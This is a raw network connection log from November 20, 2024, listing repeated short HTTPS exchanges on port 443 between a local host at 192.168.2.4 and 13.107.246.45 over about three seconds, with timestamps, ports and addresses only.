Nov 20, 2024 12:58:41.095469952 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.095484972 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.323582888 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.324196100 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.324227095 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.324768066 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.324774027 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.325035095 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.325349092 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.325371027 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.325834036 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.325839996 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.384392023 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.384422064 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.437582970 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.437866926 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.437920094 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.437963963 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.437975883 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.437989950 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.437994003 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.441790104 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.441812992 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.441875935 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.442065001 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.442074060 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.449207067 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.449332952 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.449368000 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.449369907 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.449425936 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.449534893 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.449547052 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.449558973 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.449563980 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.452450991 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.452488899 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.452541113 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.452716112 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.452728987 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.606307030 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.606842995 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.606877089 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.607465029 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.607471943 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.708684921 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.708730936 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.708796978 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.708833933 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.708887100 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.709129095 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.709152937 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.709167004 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.709173918 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.712213039 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.712251902 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.712621927 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.712842941 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.712853909 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.751983881 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.752682924 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.752696991 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.753309011 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.753314972 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.766936064 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.767556906 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.767587900 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.768028021 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.768038034 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.857623100 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.857824087 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.857994080 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.858033895 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.858033895 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.858059883 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.858069897 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.861044884 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.861098051 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.861202955 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.861371040 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.861386061 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.875679016 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.875803947 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.875921011 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.875962019 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.876002073 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.876069069 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.876069069 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.876085997 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.876095057 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.879030943 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.879080057 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.879163980 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.879349947 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.879367113 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.088337898 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.089006901 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.089029074 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.089495897 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.089499950 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.129080057 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.129770994 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.129797935 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.130361080 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.130368948 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.208214998 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.208400965 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.208568096 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.208607912 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.208628893 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.208641052 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.208647966 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.211577892 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.211628914 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.211720943 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.211891890 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.211905956 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.245727062 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.245765924 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.245815039 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.245887041 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.245970964 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.246474981 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.246498108 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.246511936 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.246517897 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.249269962 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.249337912 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.249414921 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.249543905 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.249563932 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.380053997 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.380723000 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.380745888 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.381361008 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.381366968 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.491651058 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.491744995 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.491815090 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.491975069 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.492007017 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.492017984 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.492024899 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.494991064 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.495033026 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.495104074 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.495330095 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.495347977 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.524816990 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.525221109 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.525247097 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.525706053 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.525715113 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.556991100 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.558392048 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.558435917 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.558887005 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.558903933 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.676685095 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.676717997 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.676774025 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.676810026 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.676860094 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.677026987 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.677047968 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.677061081 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.677068949 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.679831982 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.679878950 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.679965973 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.680188894 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.680205107 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.717390060 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.717791080 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.717875004 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.722979069 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.722979069 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.723018885 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.723047972 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.726314068 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.726355076 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.726453066 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.726614952 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.726630926 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.894517899 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.895064116 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.895090103 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.895450115 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.895453930 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.970418930 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.970973015 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.971002102 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.971410990 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.971417904 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.996068001 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.996221066 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.996304035 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.996392965 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.996404886 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.996438026 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.996443987 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.999597073 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.999644995 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:42.999731064 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.999862909 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:42.999874115 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.079654932 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.079823971 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.079898119 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.080032110 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.080055952 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.080070972 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.080077887 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.082668066 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.082711935 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.082786083 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.082930088 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.082945108 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.165103912 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.165638924 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.165674925 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.166157007 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.166162968 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.268567085 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.268606901 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.268668890 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.268672943 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.268712997 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.268949032 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.268969059 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.268976927 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.268982887 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.271857977 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.271895885 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.271980047 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.272129059 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.272140980 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.334316969 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.334964991 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.334985971 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.335578918 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.335585117 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.384035110 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.384902000 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.384923935 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.385575056 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.385580063 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.438889027 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.438960075 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.439023018 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.439183950 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.439201117 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.439219952 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.439225912 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.442302942 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.442334890 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.442392111 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.442579031 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.442585945 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.500727892 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.500797033 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.500899076 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.500917912 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.500969887 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.501185894 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.501203060 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.501211882 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.501216888 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.504272938 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.504313946 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.504416943 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.504580975 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.504594088 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.659212112 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.659965992 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.659981012 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.660286903 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.660294056 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.736342907 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.737013102 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.737025023 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.737369061 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.737375975 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.761924982 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.762103081 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.762178898 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.769279003 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.769279003 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.769296885 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.769311905 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.772053003 CET	49904	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.772078991 CET	443	49904	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.772161961 CET	49904	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.772424936 CET	49904	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.772437096 CET	443	49904	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.840600967 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.841160059 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.841223001 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.841264963 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.841288090 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.841299057 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.841304064 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.844016075 CET	49905	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.844055891 CET	443	49905	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.844180107 CET	49905	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.844296932 CET	49905	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.844305992 CET	443	49905	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.930589914 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.931231976 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.931252956 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:43.931741953 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:43.931746006 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.035005093 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.035258055 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.035348892 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.035394907 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.035413980 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.035425901 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.035432100 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.038516998 CET	49906	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.038557053 CET	443	49906	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.038686037 CET	49906	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.039052010 CET	49906	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.039067984 CET	443	49906	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.109579086 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.110129118 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.110155106 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.110656023 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.110661030 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.177869081 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.178533077 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.178589106 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.178997040 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.179002047 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.214497089 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.214684010 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.214744091 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.214776039 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.214819908 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.214977980 CET	49902	443	192.168.2.4	13.107.246.45
